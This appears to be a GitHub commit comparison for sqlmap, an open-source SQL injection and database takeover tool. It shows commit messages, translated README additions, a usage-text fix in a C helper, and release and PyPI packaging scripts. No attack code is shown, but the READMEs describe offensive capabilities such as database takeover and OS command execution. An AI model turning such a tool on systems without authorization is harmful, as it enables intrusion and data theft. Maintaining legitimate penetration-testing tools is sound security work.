Miroslav Stampar 798b539eec Minor update 2016-05-24 14:50:56 +02:00
Miroslav Stampar 70cf8edc75 Fixes #1887 2016-05-24 14:17:00 +02:00
Miroslav Stampar a81ea88eb0 Fixes #1889 2016-05-24 13:59:34 +02:00
Miroslav Stampar 023dda26fc Minor update for --os-shell directories 2016-05-24 12:53:21 +02:00
Miroslav Stampar 3e76895155 Minor update 2016-05-24 12:30:01 +02:00
Miroslav Stampar 2c1bd7f034 Update for an Issue #1531 (MySQL quirk with international letters) 2016-05-24 12:01:02 +02:00
Miroslav Stampar f7cae68378 More formal language 2016-05-22 21:44:17 +02:00
Miroslav Stampar f6ff1a115a Better (automatic) picking of a --string candidate (especially in case of international pages) 2016-05-22 21:29:08 +02:00
Miroslav Stampar 32ee586e2a Minor language update 2016-05-22 14:30:32 +02:00
Miroslav Stampar b9e5655e3c Proper naming 2016-05-22 14:26:36 +02:00
Miroslav Stampar 6623c3f877 Pesky bug fix (nobody noticed :) 2016-05-22 14:22:31 +02:00
Miroslav Stampar 30a4173249 I like users which don't know the difference between detection and identification 2016-05-22 12:40:23 +02:00
Miroslav Stampar dbbe4c6ddd Fixes #1884 2016-05-22 11:44:21 +02:00
Miroslav Stampar 633e4dfe48 Fixes #1886 2016-05-22 11:37:27 +02:00
Miroslav Stampar 5e8b105677 Fixes #1880 2016-05-19 19:46:12 +02:00
Miroslav Stampar 414dd96bbd Minor update (warning on negative integer values provided) 2016-05-19 18:04:25 +02:00
Miroslav Stampar e857c2a88a Update for an Issue #1879 2016-05-19 13:50:31 +02:00
Miroslav Stampar e7aaea2b8e Update for an Issue #1826 2016-05-17 14:10:49 +02:00
Miroslav Stampar 63d7cd607e Minor patch (for late threading issues) 2016-05-17 13:54:42 +02:00
Miroslav Stampar d886b08dd9 Update for an Issue #1826 2016-05-17 13:45:03 +02:00
Miroslav Stampar 72f3185ae7 Fixes #1878 2016-05-17 10:47:17 +02:00
Miroslav Stampar 03be9f9b65 Minor removal of blank lines 2016-05-17 10:43:16 +02:00
Miroslav Stampar d9d0865c13 Another patch for an Issue #1874 2016-05-16 17:09:05 +02:00
Miroslav Stampar e3f54bc226 Minor patch for #1874 2016-05-16 16:53:28 +02:00
Miroslav Stampar 9662f4a56a Minor update 2016-05-16 16:47:29 +02:00
Miroslav Stampar fea5cc8579 Minor patch 2016-05-16 15:37:49 +02:00
Miroslav Stampar 94091cd0e9 Fixes #1871 2016-05-15 09:37:45 +02:00
Miroslav Stampar cc9f4b6102 Minor refactoring for MariaDB 2016-05-14 15:05:50 +02:00
Miroslav Stampar cd7c99c752 Minor revert (it was not necessary - caused other problems) 2016-05-14 14:48:17 +02:00
Miroslav Stampar 75478c1181 Fixes #1868 2016-05-14 14:18:34 +02:00
Miroslav Stampar ad0ca69579 Fixes #1865 2016-05-13 15:14:56 +02:00
Miroslav Stampar 2d801b7122 Minor patch for an Issue #1861 2016-05-12 17:16:55 +02:00
Miroslav Stampar 1e07269fe3 Patch for an Issue #1860 2016-05-12 16:42:12 +02:00
Miroslav Stampar 3b74e99576 Minor update (support for MariaDB) 2016-05-11 15:47:35 +02:00
Miroslav Stampar 439fff684e Minor update (MSSQL CONCAT payload) 2016-05-11 09:42:54 +02:00
Miroslav Stampar 72cf06119c Patch for an Issue #1852 2016-05-10 09:55:03 +02:00
Miroslav Stampar 808068d70a Minor update 2016-05-10 09:19:59 +02:00
Miroslav Stampar f09072b2b6 Fixes #1853 2016-05-09 13:13:02 +02:00
Miroslav Stampar be9381abc5 Implements #1845 2016-05-06 13:06:59 +02:00
Miroslav Stampar 5d09f7b85f Fixes #1822 2016-05-06 10:32:16 +02:00
Miroslav Stampar 8bbfee7591 Cleaning a leftover from be26392057 2016-05-06 10:30:58 +02:00
Miroslav Stampar be26392057 Update for an Issue #1846 2016-05-06 10:23:57 +02:00
Miroslav Stampar 263730f4ee Fixes #1840 2016-05-04 13:23:59 +02:00
Miroslav Stampar 5d7e1782d9 Fixes #1839 2016-05-04 11:14:42 +02:00
Miroslav Stampar e27f590c2c Fixes #1838 2016-05-04 11:11:58 +02:00
Miroslav Stampar 7afe655561 Another minor update for #1836 2016-05-03 12:52:46 +02:00
Miroslav Stampar 3bf08290a4 Update for an Issue #1836 2016-05-03 12:37:10 +02:00
Miroslav Stampar 34c2172391 Fixes #1837 2016-05-03 11:38:47 +02:00
Miroslav Stampar 48044f7a46 Minor update of IDS_WAF_CHECK_PAYLOAD 2016-05-03 00:19:19 +02:00
Miroslav Stampar 04e666182f Minor update of FORMAT_EXCEPTION_STRINGS 2016-05-02 23:44:43 +02:00
Miroslav Stampar c797129956 Fixes #1833 2016-05-02 11:10:12 +02:00
Miroslav Stampar 6928dae956 Minor patch 2016-05-02 10:45:50 +02:00
Miroslav Stampar 6db3bcbb51 Minor update for UrlScan 2016-05-02 10:12:19 +02:00
160 changed files with 8331 additions and 4331 deletions
+2 -1
View File
@@ -1,5 +1,6 @@
*.py text eol=lf
*.conf text eol=lf
*.md5 text eol=lf
*.py text eol=lf
*_ binary
*.dll binary
+4 -1
View File
@@ -33,7 +33,7 @@ To get a list of all options and switches use:
python sqlmap.py -hh
You can find a sample run [here](https://gist.github.com/stamparm/5335217).
You can find a sample run [here](https://asciinema.org/a/46601).
To get an overview of sqlmap capabilities, list of supported features and description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki).
Links
@@ -57,8 +57,11 @@ Translations
* [Chinese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-zh-CN.md)
* [Croatian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-hr-HR.md)
* [French](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fr-FR.md)
* [Greek](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-gr-GR.md)
* [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md)
* [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md)
* [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md)
* [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
* [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md)
* [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md)
+1 -1
View File
@@ -32,7 +32,7 @@ Para obtener una lista de todas las opciones:
python sqlmap.py -hh
Se puede encontrar una muestra de su funcionamiento [aquí](https://gist.github.com/stamparm/5335217).
Se puede encontrar una muestra de su funcionamiento [aquí](https://asciinema.org/a/46601).
Para obtener una visión general de las capacidades de sqlmap, así como un listado funciones soportadas y descripción de todas las opciones y modificadores, junto con ejemplos, se recomienda consultar el [manual de usuario](https://github.com/sqlmapproject/sqlmap/wiki).
Enlaces
+52
View File
@@ -0,0 +1,52 @@
# sqlmap
[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/doc/COPYING) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)
**sqlmap** est un outil Open Source de test d'intrusion. Cet outil permet d'automatiser le processus de détection et d'exploitation des failles d'injection SQL afin de prendre le contrôle des serveurs de base de données. __sqlmap__ dispose d'un puissant moteur de détection utilisant les techniques les plus récentes et les plus dévastatrices de tests d'intrusion comme L'Injection SQL, qui permet d'accéder à la base de données, au système de fichiers sous-jacent et permet aussi l'exécution des commandes sur le système d'exploitation.
----
![Les Captures d'écran](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
Les captures d'écran disponible [ici](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) démontrent des fonctionnalités de __sqlmap__.
Installation
----
Vous pouvez télécharger le plus récent fichier tarball en cliquant [ici](https://github.com/sqlmapproject/sqlmap/tarball/master). Vous pouvez aussi télécharger le plus récent archive zip [ici](https://github.com/sqlmapproject/sqlmap/zipball/master).
De préférence, télécharger __sqlmap__ en le [clonant](https://github.com/sqlmapproject/sqlmap):
git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap fonctionne sur n'importe quel système d'exploitation avec la version **2.6.x** et **2.7.x** de [Python](http://www.python.org/download/)
Usage
----
Pour afficher une liste des fonctions de bases et des commutateurs (switches), tapez:
python sqlmap.py -h
Pour afficher une liste complète des options et des commutateurs (switches), tapez:
python sqlmap.py -hh
Vous pouvez regarder un vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples.
Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge et la description de toutes les options, ainsi que des exemples , nous vous recommandons de consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki).
Liens
----
* Page d'acceuil: http://sqlmap.org
* Téléchargement: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ou [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
* Manuel de l'utilisateur: https://github.com/sqlmapproject/sqlmap/wiki
* Foire aux questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* Mailing list subscription: https://lists.sourceforge.net/lists/listinfo/sqlmap-users
* Mailing list RSS feed: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap
* Mailing list archive: http://news.gmane.org/gmane.comp.security.sqlmap
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
* Démonstrations: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
* Les captures d'écran: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
+1 -1
View File
@@ -33,7 +33,7 @@
python sqlmap.py -hh
Μπορείτε να δείτε ένα δείγμα λειτουργίας του προγράμματος [εδώ](https://gist.github.com/stamparm/5335217).
Μπορείτε να δείτε ένα δείγμα λειτουργίας του προγράμματος [εδώ](https://asciinema.org/a/46601).
Για μια γενικότερη άποψη των δυνατοτήτων του sqlmap, μια λίστα των υποστηριζόμενων χαρακτηριστικών και περιγραφή για όλες τις επιλογές, μαζί με παραδείγματα, καλείστε να συμβουλευτείτε το [εγχειρίδιο χρήστη](https://github.com/sqlmapproject/sqlmap/wiki).
Σύνδεσμοι
+1 -1
View File
@@ -33,7 +33,7 @@ Kako biste dobili listu svih opcija i prekidača koristite:
python sqlmap.py -hh
Možete pronaći primjer izvršavanja [ovdje](https://gist.github.com/stamparm/5335217).
Možete pronaći primjer izvršavanja [ovdje](https://asciinema.org/a/46601).
Kako biste dobili pregled mogućnosti sqlmap-a, liste podržanih značajki te opis svih opcija i prekidača, zajedno s primjerima, preporučen je uvid u [korisnički priručnik](https://github.com/sqlmapproject/sqlmap/wiki).
Poveznice
+1 -1
View File
@@ -34,7 +34,7 @@ Untuk mendapatkan daftar opsi lanjut gunakan:
python sqlmap.py -hh
Anda dapat mendapatkan contoh penggunaan [di sini](https://gist.github.com/stamparm/5335217).
Anda dapat mendapatkan contoh penggunaan [di sini](https://asciinema.org/a/46601).
Untuk mendapatkan gambaran singkat kemampuan sqlmap, daftar fitur yang didukung, deskripsi dari semua opsi, berikut dengan contohnya, Anda disarankan untuk membaca [manual pengguna](https://github.com/sqlmapproject/sqlmap/wiki).
Tautan
+53
View File
@@ -0,0 +1,53 @@
# sqlmap
[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/doc/COPYING) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)
sqlmap è uno strumento open source per il penetration testing. Il suo scopo è quello di rendere automatico il processo di scoperta ed exploit di vulnerabilità di tipo SQL injection al fine di compromettere database online. Dispone di un potente motore per la ricerca di vulnerabilità, molti strumenti di nicchia anche per il più esperto penetration tester ed un'ampia gamma di controlli che vanno dal fingerprinting di database allo scaricamento di dati, fino all'accesso al file system sottostante e l'esecuzione di comandi nel sistema operativo attraverso connessioni out-of-band.
Screenshot
----
![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
Nella wiki puoi visitare [l'elenco di screenshot](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) che mostrano il funzionamento di alcune delle funzionalità del programma.
Installazione
----
Puoi scaricare l'ultima tarball cliccando [qui](https://github.com/sqlmapproject/sqlmap/tarball/master) oppure l'ultima zipball cliccando [qui](https://github.com/sqlmapproject/sqlmap/zipball/master).
La cosa migliore sarebbe però scaricare sqlmap clonando la repository [Git](https://github.com/sqlmapproject/sqlmap):
git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap è in grado di funzionare con le versioni **2.6.x** e **2.7.x** di [Python](http://www.python.org/download/) su ogni piattaforma.
Utilizzo
----
Per una lista delle opzioni e dei controlli di base:
python sqlmap.py -h
Per una lista di tutte le opzioni e di tutti i controlli:
python sqlmap.py -hh
Puoi trovare un esempio di esecuzione [qui](https://asciinema.org/a/46601).
Per una panoramica delle capacità di sqlmap, una lista delle sue funzionalità e la descrizione di tutte le sue opzioni e controlli, insieme ad un gran numero di esempi, siete pregati di visitare lo [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) (disponibile solo in inglese).
Link
----
* Sito: http://sqlmap.org
* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* RSS feed dei commit: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
* Manuale dell'utente: https://github.com/sqlmapproject/sqlmap/wiki
* Domande più frequenti (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* Iscrizione alla Mailing list: https://lists.sourceforge.net/lists/listinfo/sqlmap-users
* Mailing list RSS feed: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap
* Archivio della Mailing list: http://news.gmane.org/gmane.comp.security.sqlmap
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
* Dimostrazioni: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
* Screenshot: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
+54
View File
@@ -0,0 +1,54 @@
# sqlmap
[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/doc/COPYING) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)
sqlmapはオープンソースのペネトレーションテスティングツールです。SQLインジェクションの脆弱性の検出、活用、そしてデータベースサーバ奪取のプロセスを自動化します。
強力な検出エンジン、ペネトレーションテスターのための多くのニッチ機能、持続的なデータベースのフィンガープリンティングから、データベースのデータ取得やアウトオブバンド接続を介したオペレーティング・システム上でのコマンド実行、ファイルシステムへのアクセスなどの広範囲に及ぶスイッチを提供します。
スクリーンショット
----
![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
wikiに載っているいくつかの機能のデモをスクリーンショットで見ることができます。 [スクリーンショット集](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots)
インストール
----
最新のtarballを [こちら](https://github.com/sqlmapproject/sqlmap/tarball/master) から、最新のzipballを [こちら](https://github.com/sqlmapproject/sqlmap/zipball/master) からダウンロードできます。
[Git](https://github.com/sqlmapproject/sqlmap) レポジトリをクローンして、sqlmapをダウンロードすることも可能です。:
git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmapは、 [Python](http://www.python.org/download/) バージョン **2.6.x** または **2.7.x** がインストールされていれば、全てのプラットフォームですぐに使用できます。
使用法
----
基本的なオプションとスイッチの使用法をリストするには:
python sqlmap.py -h
全てのオプションとスイッチの使用法をリストするには:
python sqlmap.py -hh
実行例を [こちら](https://asciinema.org/a/46601) で見ることができます。
sqlmapの概要、機能の一覧、全てのオプションやスイッチの使用法を例とともに、 [ユーザーマニュアル](https://github.com/sqlmapproject/sqlmap/wiki) で確認することができます。
リンク
----
* ホームページ: http://sqlmap.org
* ダウンロード: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* コミットのRSSフィード: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* 課題管理: https://github.com/sqlmapproject/sqlmap/issues
* ユーザーマニュアル: https://github.com/sqlmapproject/sqlmap/wiki
* よくある質問 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* メーリングリストへの参加: https://lists.sourceforge.net/lists/listinfo/sqlmap-users
* メーリングリストのRSSフィード: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap
* メーリングリストのアーカイブ: http://news.gmane.org/gmane.comp.security.sqlmap
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
* デモ: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
* スクリーンショット: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
+1 -1
View File
@@ -34,7 +34,7 @@ Para obter a lista completa de opções faça:
python sqlmap.py -hh
Você pode encontrar alguns exemplos [aqui](https://gist.github.com/stamparm/5335217).
Você pode encontrar alguns exemplos [aqui](https://asciinema.org/a/46601).
Para ter uma visão geral dos recursos do sqlmap, lista de recursos suportados e a descrição de todas as opções, juntamente com exemplos, aconselhamos que você consulte o [manual do usuário](https://github.com/sqlmapproject/sqlmap/wiki).
Links
+1 -1
View File
@@ -37,7 +37,7 @@ Bütün seçenekleri gösterir
python sqlmap.py -hh
Program ile ilgili örnekleri [burada](https://gist.github.com/stamparm/5335217) bulabilirsiniz. Daha fazlası içinsqlmap'in bütün açıklamaları ile birlikte bütün özelliklerinin, örnekleri ile bulunduğu [manuel sayfamıza](https://github.com/sqlmapproject/sqlmap/wiki) bakmanızı tavsiye ediyoruz
Program ile ilgili örnekleri [burada](https://asciinema.org/a/46601) bulabilirsiniz. Daha fazlası içinsqlmap'in bütün açıklamaları ile birlikte bütün özelliklerinin, örnekleri ile bulunduğu [manuel sayfamıza](https://github.com/sqlmapproject/sqlmap/wiki) bakmanızı tavsiye ediyoruz
Links
----
+1 -1
View File
@@ -33,7 +33,7 @@ sqlmap 可以运行在 [Python](http://www.python.org/download/) **2.6.x** 和
python sqlmap.py -hh
你可以从 [这里](https://gist.github.com/stamparm/5335217) 看到一个sqlmap 的使用样例。除此以外,你还可以查看 [使用手册](https://github.com/sqlmapproject/sqlmap/wiki)。获取sqlmap所有支持的特性、参数、命令行选项开关及说明的使用帮助。
你可以从 [这里](https://asciinema.org/a/46601) 看到一个sqlmap 的使用样例。除此以外,你还可以查看 [使用手册](https://github.com/sqlmapproject/sqlmap/wiki)。获取sqlmap所有支持的特性、参数、命令行选项开关及说明的使用帮助。
链接
----
+1 -3
View File
@@ -99,7 +99,7 @@ void usage(char *path)
printf(" -h this screen\n");
printf(" -b num maximal number of blanks (unanswered icmp requests)\n");
printf(" before quitting\n");
printf(" -s bytes maximal data buffer size in bytes (default is 64 bytes)\n\n", DEFAULT_MAX_DATA_SIZE);
printf(" -s bytes maximal data buffer size in bytes (default is %u bytes)\n\n", DEFAULT_MAX_DATA_SIZE);
printf("In order to improve the speed, lower the delay (-d) between requests or\n");
printf("increase the size (-s) of the data buffer\n");
}
@@ -203,8 +203,6 @@ int main(int argc, char **argv)
PROCESS_INFORMATION pi;
int status;
unsigned int max_data_size;
struct hostent *he;
// set defaults
target = 0;
+2 -2
View File
@@ -23,7 +23,7 @@ HEX_ENCODED_CHAR_REGEX = r"(?P<result>\\x[0-9A-Fa-f]{2})"
SAFE_ENCODE_SLASH_REPLACEMENTS = "\t\n\r\x0b\x0c"
# Characters that don't need to be safe encoded
SAFE_CHARS = "".join(filter(lambda x: x not in SAFE_ENCODE_SLASH_REPLACEMENTS, string.printable.replace('\\', '')))
SAFE_CHARS = "".join(filter(lambda _: _ not in SAFE_ENCODE_SLASH_REPLACEMENTS, string.printable.replace('\\', '')))
# Prefix used for hex encoded values
HEX_ENCODED_PREFIX = r"\x"
@@ -47,7 +47,7 @@ def safecharencode(value):
retVal = value
if isinstance(value, basestring):
if any(_ not in SAFE_CHARS for _ in value):
if any([_ not in SAFE_CHARS for _ in value]):
retVal = retVal.replace(HEX_ENCODED_PREFIX, HEX_ENCODED_PREFIX_MARKER)
retVal = retVal.replace('\\', SLASH_MARKER)
@@ -8,14 +8,16 @@ FULLPATH=${SCRIPTPATH%/*}/$SETTINGS
if [ -f $FULLPATH ]
then
LINE=$(grep -o ${FULLPATH} -e 'VERSION = "[0-9.]*"');
declare -a LINE;
LINE=$(grep -o ${FULLPATH} -e 'VERSION = "[0-9.]*"')
declare -a LINE
NEW_TAG=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); print '.'.join(_[:-1]) if len(_) == 4 and _[-1] == '0' else ''" "$LINE")
if [ -n "$NEW_TAG" ]
then
git commit -am "Automatic monthly tagging"
echo "Creating new tag ${NEW_TAG}";
git tag $NEW_TAG;
echo "Creating new tag ${NEW_TAG}"
git tag $NEW_TAG
git push origin $NEW_TAG
echo "Going to push PyPI package"
/bin/bash ${SCRIPTPATH%/*}/pypi.sh
fi
fi;
fi
-22
View File
@@ -1,22 +0,0 @@
#!/bin/bash
SETTINGS="../../lib/core/settings.py"
declare -x SCRIPTPATH="${0}"
FULLPATH=${SCRIPTPATH%/*}/$SETTINGS
if [ -f $FULLPATH ]
then
LINE=$(grep -o ${FULLPATH} -e 'VERSION = "[0-9.]*"');
declare -a LINE;
INCREMENTED=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); _.append(0) if len(_) < 3 else _; _[-1] = str(int(_[-1]) + 1); month = str(time.gmtime().tm_mon); _[-1] = '0' if _[-2] != month else _[-1]; _[-2] = month; print sys.argv[1].replace(version, '.'.join(_))" "$LINE")
if [ -n "$INCREMENTED" ]
then
sed "s/${LINE}/${INCREMENTED}/" $FULLPATH > $FULLPATH.tmp && mv $FULLPATH.tmp $FULLPATH
echo "Updated ${INCREMENTED} in ${FULLPATH}";
else
echo "Something went wrong in VERSION increment"
exit 1
fi
fi;
+30
View File
@@ -0,0 +1,30 @@
#!/bin/bash
PROJECT="../../"
SETTINGS="../../lib/core/settings.py"
CHECKSUM="../../txt/checksum.md5"
declare -x SCRIPTPATH="${0}"
PROJECT_FULLPATH=${SCRIPTPATH%/*}/$PROJECT
SETTINGS_FULLPATH=${SCRIPTPATH%/*}/$SETTINGS
CHECKSUM_FULLPATH=${SCRIPTPATH%/*}/$CHECKSUM
if [ -f $SETTINGS_FULLPATH ]
then
LINE=$(grep -o ${SETTINGS_FULLPATH} -e 'VERSION = "[0-9.]*"')
declare -a LINE
INCREMENTED=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); _.append(0) if len(_) < 3 else _; _[-1] = str(int(_[-1]) + 1); month = str(time.gmtime().tm_mon); _[-1] = '0' if _[-2] != month else _[-1]; _[-2] = month; print sys.argv[1].replace(version, '.'.join(_))" "$LINE")
if [ -n "$INCREMENTED" ]
then
sed -i "s/${LINE}/${INCREMENTED}/" $SETTINGS_FULLPATH
echo "Updated ${INCREMENTED} in ${SETTINGS_FULLPATH}"
else
echo "Something went wrong in VERSION increment"
exit 1
fi
git add "$SETTINGS_FULLPATH"
fi
truncate -s 0 "$CHECKSUM_FULLPATH"
cd $PROJECT_FULLPATH && for i in $(find . -name "*.py" -o -name "*.xml" -o -iname "*_" | sort); do git ls-files $i --error-unmatch &>/dev/null && md5sum $i | stdbuf -i0 -o0 -e0 sed 's/\.\///' >> "$CHECKSUM_FULLPATH"; git add "$CHECKSUM_FULLPATH"; done
+177
View File
@@ -0,0 +1,177 @@
#!/bin/bash
declare -x SCRIPTPATH="${0}"
SETTINGS="${SCRIPTPATH%/*}/../../lib/core/settings.py"
VERSION=$(cat $SETTINGS | grep -E "^VERSION =" | cut -d '"' -f 2 | cut -d '.' -f 1-3)
TYPE=pip
TMP_DIR=/tmp/pypi
mkdir $TMP_DIR
cd $TMP_DIR
cat > $TMP_DIR/setup.py << EOF
#!/usr/bin/env python
"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
from setuptools import setup, find_packages
setup(
name='sqlmap',
version='$VERSION',
description="Automatic SQL injection and database takeover tool",
author='Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar',
author_email='[email protected], [email protected]',
url='https://sqlmap.org',
download_url='https://github.com/sqlmapproject/sqlmap/archive/$VERSION.zip',
license='GNU General Public License v2 (GPLv2)',
packages=find_packages(),
include_package_data=True,
zip_safe=False,
# https://pypi.python.org/pypi?%3Aaction=list_classifiers
classifiers=[
'Development Status :: 5 - Production/Stable',
'License :: OSI Approved :: GNU General Public License v2 (GPLv2)',
'Natural Language :: English',
'Operating System :: OS Independent',
'Programming Language :: Python',
'Environment :: Console',
'Topic :: Database',
'Topic :: Security',
],
entry_points={
'console_scripts': [
'sqlmap = sqlmap.sqlmap:main',
],
},
)
EOF
wget "https://github.com/sqlmapproject/sqlmap/archive/$VERSION.zip" -O sqlmap.zip
unzip sqlmap.zip
rm sqlmap.zip
mv "sqlmap-$VERSION" sqlmap
cat > sqlmap/__init__.py << EOF
#!/usr/bin/env python
"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
import os
import sys
sys.dont_write_bytecode = True
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
EOF
cat > README.rst << "EOF"
sqlmap
======
|Build Status| |Python 2.6|2.7| |License| |Twitter|
sqlmap is an open source penetration testing tool that automates the
process of detecting and exploiting SQL injection flaws and taking over
of database servers. It comes with a powerful detection engine, many
niche features for the ultimate penetration tester and a broad range of
switches lasting from database fingerprinting, over data fetching from
the database, to accessing the underlying file system and executing
commands on the operating system via out-of-band connections.
Screenshots
-----------
.. figure:: https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png
:alt: Screenshot
You can visit the `collection of
screenshots <https://github.com/sqlmapproject/sqlmap/wiki/Screenshots>`__
demonstrating some of features on the wiki.
Installation
------------
You can use pip to install and/or upgrade the sqlmap to latest (monthly) tagged version with: ::
pip install --upgrade sqlmap
Alternatively, you can download the latest tarball by clicking
`here <https://github.com/sqlmapproject/sqlmap/tarball/master>`__ or
latest zipball by clicking
`here <https://github.com/sqlmapproject/sqlmap/zipball/master>`__.
If you prefer fetching daily updates, you can download sqlmap by cloning the
`Git <https://github.com/sqlmapproject/sqlmap>`__ repository:
::
git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap works out of the box with
`Python <http://www.python.org/download/>`__ version **2.6.x** and
**2.7.x** on any platform.
Usage
-----
To get a list of basic options and switches use:
::
python sqlmap.py -h
To get a list of all options and switches use:
::
python sqlmap.py -hh
You can find a sample run `here <https://asciinema.org/a/46601>`__. To
get an overview of sqlmap capabilities, list of supported features and
description of all options and switches, along with examples, you are
advised to consult the `user's
manual <https://github.com/sqlmapproject/sqlmap/wiki>`__.
Links
-----
- Homepage: http://sqlmap.org
- Download:
`.tar.gz <https://github.com/sqlmapproject/sqlmap/tarball/master>`__
or `.zip <https://github.com/sqlmapproject/sqlmap/zipball/master>`__
- Commits RSS feed:
https://github.com/sqlmapproject/sqlmap/commits/master.atom
- Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
- User's manual: https://github.com/sqlmapproject/sqlmap/wiki
- Frequently Asked Questions (FAQ):
https://github.com/sqlmapproject/sqlmap/wiki/FAQ
- Mailing list subscription:
https://lists.sourceforge.net/lists/listinfo/sqlmap-users
- Mailing list RSS feed:
http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap
- Mailing list archive:
http://news.gmane.org/gmane.comp.security.sqlmap
- Twitter: [@sqlmap](https://twitter.com/sqlmap)
- Demos: http://www.youtube.com/user/inquisb/videos
- Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
.. |Build Status| image:: https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master
:target: https://api.travis-ci.org/sqlmapproject/sqlmap
.. |Python 2.6|2.7| image:: https://img.shields.io/badge/python-2.6|2.7-yellow.svg
:target: https://www.python.org/
.. |License| image:: https://img.shields.io/badge/license-GPLv2-red.svg
:target: https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/doc/COPYING
.. |Twitter| image:: https://img.shields.io/badge/[email protected]
:target: https://twitter.com/sqlmap
.. pandoc --from=markdown --to=rst --output=README.rst sqlmap/README.md
.. http://rst.ninjs.org/
EOF
sed -i "s/^VERSION =.*/VERSION = \"$VERSION\"/g" sqlmap/lib/core/settings.py
sed -i "s/^TYPE =.*/TYPE = \"$TYPE\"/g" sqlmap/lib/core/settings.py
